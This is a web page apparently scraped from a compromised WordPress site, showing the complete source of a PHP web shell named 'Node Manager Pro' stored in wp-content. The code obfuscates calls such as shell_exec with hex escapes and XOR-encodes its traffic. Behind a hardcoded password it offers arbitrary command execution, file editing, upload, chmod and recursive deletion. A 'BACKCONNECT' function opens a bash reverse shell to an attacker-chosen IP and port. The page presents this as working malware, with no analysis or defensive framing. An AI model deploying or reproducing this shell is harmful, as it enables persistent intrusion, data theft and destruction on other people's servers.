shell bypass 403

Iwafut Security Shell

: /home/rahcos/public_html/wp-content/ [ drwxr-xr-x ]

name : anjv6.php
<?php
/**
 * Node Manager Pro v2.7 - Ultimate Edition
 * Full Features: Login, Shell, Upload, Edit, New File/Dir, Rename, Chmod, Recursive Delete.
 * Password: admin
 */

@session_start();
@error_reporting(0);
@set_time_limit(0);
@ini_set('memory_limit', '512M');

$k = "gh0st_k3y_123"; 
$p = "124ch3l2112!";

// Obfuskasi Nama Fungsi Dasar
$__f = [
    'se' => "\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63", 
    'fg' => "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",
    'fp' => "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",
    'b6' => "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65",
    'be' => "\x62\x61\x73\x65\x36\x34\x5f\x65\x6e\x63\x6f\x64\x65"
];

function _x($d, $k) {
    $r = '';
    for($i=0; $i<strlen($d); $i++) { $r .= $d[$i] ^ $k[$i % strlen($k)]; }
    return $r;
}

// Logic Login
$u_a = $_SERVER['HTTP_USER_AGENT'];
if (isset($_POST['access_key'])) {
    if ($_POST['access_key'] === $p) {
        $_SESSION['st'] = md5($p . $u_a);
        setcookie('sys_id', md5($p . $u_a), time() + 86400);
    }
}

$auth = (isset($_SESSION['st']) && $_SESSION['st'] === md5($p . $u_a)) || (isset($_COOKIE['sys_id']) && $_COOKIE['sys_id'] === md5($p . $u_a));

if (!$auth): ?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>System Login</title>
    <style>
        body { background: #0d1117; color: #c9d1d9; font-family: sans-serif; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; }
        .login-card { background: #161b22; padding: 30px; border-radius: 8px; border: 1px solid #30363d; width: 300px; box-shadow: 0 10px 25px rgba(0,0,0,0.5); }
        input { width: 100%; padding: 12px; margin: 15px 0; background: #0d1117; border: 1px solid #30363d; color: #fff; border-radius: 5px; box-sizing: border-box; outline: none; }
        button { width: 100%; padding: 12px; background: #238636; border: none; color: white; border-radius: 5px; cursor: pointer; font-weight: bold; width: 100%; }
    </style>
</head>
<body>
    <div class="login-card">
        <h2 style="text-align:center; margin:0; font-size:20px; color:#58a6ff;">Node Manager</h2>
        <form method="post"><input type="password" name="access_key" placeholder="Credentials" autofocus required><button type="submit">LOGIN</button></form>
    </div>
</body>
</html>
<?php exit; endif;

// Path & Navigation
$p_path = isset($_REQUEST['d']) ? str_replace('\\', '/', realpath($_REQUEST['d'])) : str_replace('\\', '/', getcwd());

// --- POWERFULL DELETE LOGIC ---
if (isset($_GET['del'])) {
    $target = $p_path . '/' . $_GET['del'];
    if (file_exists($target)) {
        if (is_dir($target)) {
            // Coba hapus rekursif via shell
            $__f['se']("rm -rf " . escapeshellarg($target));
            // Fallback jika shell gagal
            if (file_exists($target)) {
                $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($target, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST);
                foreach ($files as $fileinfo) {
                    $todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink');
                    @$todo($fileinfo->getRealPath());
                }
                @rmdir($target);
            }
        } else {
            @unlink($target);
        }
    }
    header("Location: ?d=$p_path");
    exit;
}

// --- API CORE ENGINE ---
if (isset($_POST['z'])) {
    header('Content-Type: text/plain');
    $a = $_POST['z'];
    $v = isset($_POST['v1']) ? _x($__f['b6']($_POST['v1']), $k) : '';
    
    switch ($a) {
        case '1': echo $__f['se']($v . " 2>&1"); break; // Exec
        case '2': // Read
            echo file_exists($p_path.'/'.$v) ? $__f['be'](_x($__f['fg']($p_path.'/'.$v), $k)) : "ERR"; 
            break;
        case '3': // Write/Save
            $c = _x($__f['b6']($_POST['c1']), $k);
            echo $__f['fp']($p_path . '/' . $v, $c) !== false ? "SUCCESS" : "ERR";
            break;
        case '4': // Upload
            if(isset($_FILES['f1'])){
                echo move_uploaded_file($_FILES['f1']['tmp_name'], $p_path.'/'.$_FILES['f1']['name']) ? "SUCCESS" : "ERR";
            }
            break;
        case '5': echo mkdir($p_path . '/' . $v) ? "SUCCESS" : "ERR"; break; // New Dir
        case '6': // Rename
            $new = _x($__f['b6']($_POST['n1']), $k);
            echo rename($p_path.'/'.$v, $p_path.'/'.$new) ? "SUCCESS" : "ERR";
            break;
        case '7': // Chmod
            $mod = _x($__f['b6']($_POST['m1']), $k);
            echo chmod($p_path.'/'.$v, octdec($mod)) ? "SUCCESS" : "ERR";
            break;
    }
    exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Node Manager Pro v2.7</title>
    <style>
        :root { --bg: #0d1117; --card: #161b22; --text: #c9d1d9; --accent: #238636; --danger: #da3633; --border: #30363d; --blue: #58a6ff; }
        body { background: var(--bg); color: var(--text); font-family: -apple-system, sans-serif; margin: 0; padding: 15px; font-size: 13px; line-height: 1.5; }
        .container { max-width: 1100px; margin: 0 auto; }
        .card { background: var(--card); border: 1px solid var(--border); padding: 15px; margin-bottom: 15px; border-radius: 6px; box-shadow: 0 4px 10px rgba(0,0,0,0.3); }
        input, textarea { background: var(--bg); color: var(--text); border: 1px solid var(--border); padding: 10px; width: 100%; border-radius: 4px; outline: none; box-sizing: border-box; }
        input:focus { border-color: var(--blue); }
        .btn { cursor: pointer; color: #fff; background: var(--accent); border: none; padding: 8px 16px; border-radius: 4px; font-weight: 600; font-size: 12px; }
        .btn-red { background: var(--danger); }
        .sh-out { background: #000; color: #50fa7b; padding: 15px; border-radius: 6px; height: 180px; overflow: auto; white-space: pre-wrap; font-family: "SFMono-Regular", Consolas, monospace; border: 1px solid var(--border); margin-top: 10px; font-size: 12px; }
        table { width: 100%; border-collapse: collapse; }
        td { padding: 10px; border-bottom: 1px solid var(--border); }
        tr:hover { background: rgba(255,255,255,0.02); }
        a { color: var(--blue); text-decoration: none; }
        .action-link { font-size: 11px; margin-left: 10px; cursor: pointer; color: #8b949e; font-weight: bold; }
        .action-link:hover { color: var(--blue); }
        #loading_overlay { display:none; position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.85); z-index:9999; justify-content:center; align-items:center; flex-direction: column; }
    </style>
</head>
<body>
<div id="loading_overlay"><div style="border:4px solid #f3f3f3; border-top:4px solid var(--blue); border-radius:50%; width:30px; height:30px; animation:spin 1s linear infinite;"></div><br><b>SYNCING DATA...</b></div>
<style>@keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }</style>

<div class="container">
    <div class="card" style="display:flex; justify-content: space-between; align-items: center;">
        <code style="color: var(--blue); font-weight: bold;"><?php echo $p_path; ?></code>
        <a href="?logout=1" style="color:var(--danger); font-size:11px;">LOGOUT</a>
    </div>

    <div class="card">
        <input type="text" id="cmd" placeholder="Run terminal command..." onkeydown="if(event.key==='Enter')run()">
        <div style="margin-top:10px;">
            <button class="btn" onclick="run()">EXECUTE</button>
            <button class="btn btn-red" onclick="bc()">BACKCONNECT</button>
        </div>
        <div id="out" class="sh-out">Terminal active.</div>
    </div>

    <div class="card">
        <div style="display:flex; gap:10px; flex-wrap:wrap; align-items:center;">
            <input type="file" id="f1" style="width: auto; border:none; padding:0;">
            <button class="btn" onclick="up()">UPLOAD</button>
            <button class="btn" style="background:#30363d" onclick="newF()">+ FILE</button>
            <button class="btn" style="background:#30363d" onclick="newD()">+ FOLDER</button>
        </div>
    </div>

    <div id="ed_box" class="card" style="display:none">
        <h3 id="ed_name" style="margin:0 0 10px 0; font-size:14px; color:var(--blue)"></h3>
        <textarea id="editor" style="height:450px; font-family: 'Courier New', monospace; font-size:13px; line-height:1.4;"></textarea>
        <div style="margin-top:10px; display:flex; gap:10px;">
            <button class="btn" onclick="save()">SAVE CHANGES</button>
            <button class="btn" style="background:#444" onclick="hide()">CLOSE</button>
        </div>
    </div>

    <div class="card" style="padding: 0; overflow-x: auto;">
        <table>
            <tr style="background: rgba(255,255,255,0.03);">
                <th style="text-align:left; padding:10px; font-size:11px; color:#8b949e;">NAME</th>
                <th style="text-align:right; padding:10px; font-size:11px; color:#8b949e;">ACTIONS</th>
            </tr>
            <?php 
            $items = scandir($p_path);
            foreach($items as $i): if($i==".") continue; 
                $f = $p_path.'/'.$i; $is_d = is_dir($f);
                $prm = substr(sprintf('%o', fileperms($f)), -4);
            ?>
            <tr>
                <td>
                    <span style="margin-right:8px; opacity:0.7;"><?php echo $is_d ? "📁" : "📄"; ?></span>
                    <a href="?d=<?php echo $is_d ? ($i==".." ? dirname($p_path) : $f) : $p_path; ?>" <?php if($i=="..") echo 'style="font-weight:bold;color:#f8e3a1"'; ?>><?php echo $i; ?></a>
                </td>
                <td style="text-align:right; white-space:nowrap;">
                    <span class="action-link" onclick="ren('<?php echo $i;?>')">RENAME</span>
                    <span class="action-link" onclick="perm('<?php echo $i;?>','<?php echo $prm;?>')"><?php echo $prm; ?></span>
                    <?php if(!$is_d): ?><span class="action-link" style="color:var(--accent)" onclick="edit('<?php echo $i;?>')">EDIT</span><?php endif; ?>
                    <a href="?d=<?php echo $p_path;?>&del=<?php echo $i;?>" class="action-link" style="color:var(--danger)" onclick="return confirm('Delete permanently?')">DEL</a>
                </td>
            </tr>
            <?php endforeach; ?>
        </table>
    </div>
</div>

<script>
const K = "<?php echo $k; ?>";
let cf = "";

function _e(s) {
    let r = "";
    for(let i=0; i<s.length; i++) r += String.fromCharCode(s.charCodeAt(i) ^ K.charCodeAt(i % K.length));
    return btoa(unescape(encodeURIComponent(r)));
}
function _d(t) {
    let d = atob(t), r = "";
    for(let i=0; i<d.length; i++) r += String.fromCharCode(d.charCodeAt(i) ^ K.charCodeAt(i % K.length));
    return decodeURIComponent(escape(r));
}
function loader(s) { document.getElementById('loading_overlay').style.display = s ? 'flex' : 'none'; }

async function api(a, v, ex={}) {
    loader(true);
    let fd = new FormData(); fd.append('z', a);
    if(v) fd.append('v1', _e(v));
    for(let k in ex) fd.append(k, ex[k]);
    try {
        let r = await fetch(location.href, {method:'POST', body:fd});
        let t = await r.text();
        loader(false); return t;
    } catch(e) { loader(false); alert("Connection Failed"); return "ERR"; }
}

function run() { api('1', document.getElementById('cmd').value).then(t => { document.getElementById('out').innerText = t; }); }
function edit(n) { cf = n; api('2', n).then(t => { if(t!=="ERR"){ document.getElementById('editor').value = _d(t); document.getElementById('ed_box').style.display = 'block'; document.getElementById('ed_name').innerText = "Path: " + n; window.scrollTo(0, 0); } }); }
function save() { api('3', cf, {c1: _e(document.getElementById('editor').value)}).then(t => { if(t.includes("SUCCESS")) alert("File Saved!"); else alert("Save Failed!"); }); }
function up() {
    let f = document.getElementById('f1').files[0]; if(!f) return alert("Select a file");
    let fd = new FormData(); fd.append('z', '4'); fd.append('f1', f);
    loader(true); fetch(location.href, {method:'POST', body:fd}).then(()=>location.reload());
}
function ren(o) { let n = prompt("New name:", o); if(n && n!==o) api('6', o, {n1: _e(n)}).then(()=>location.reload()); }
function perm(f, c) { let m = prompt("New permissions (e.g. 0777):", c); if(m) api('7', f, {m1: _e(m)}).then(()=>location.reload()); }
function newF() { let n = prompt("File name:"); if(n) api('3', n, {c1: _e("")}).then(()=>location.reload()); }
function newD() { let n = prompt("Folder name:"); if(n) api('5', n).then(()=>location.reload()); }
function hide() { document.getElementById('ed_box').style.display='none'; }
function bc() { let i = prompt("Your IP:"), p = prompt("Your Port:"); if(i && p) api('1', `bash -i >& /dev/tcp/${i}/${p} 0>&1`); }
</script>
</body>
</html>

© 2026 Iwafut Security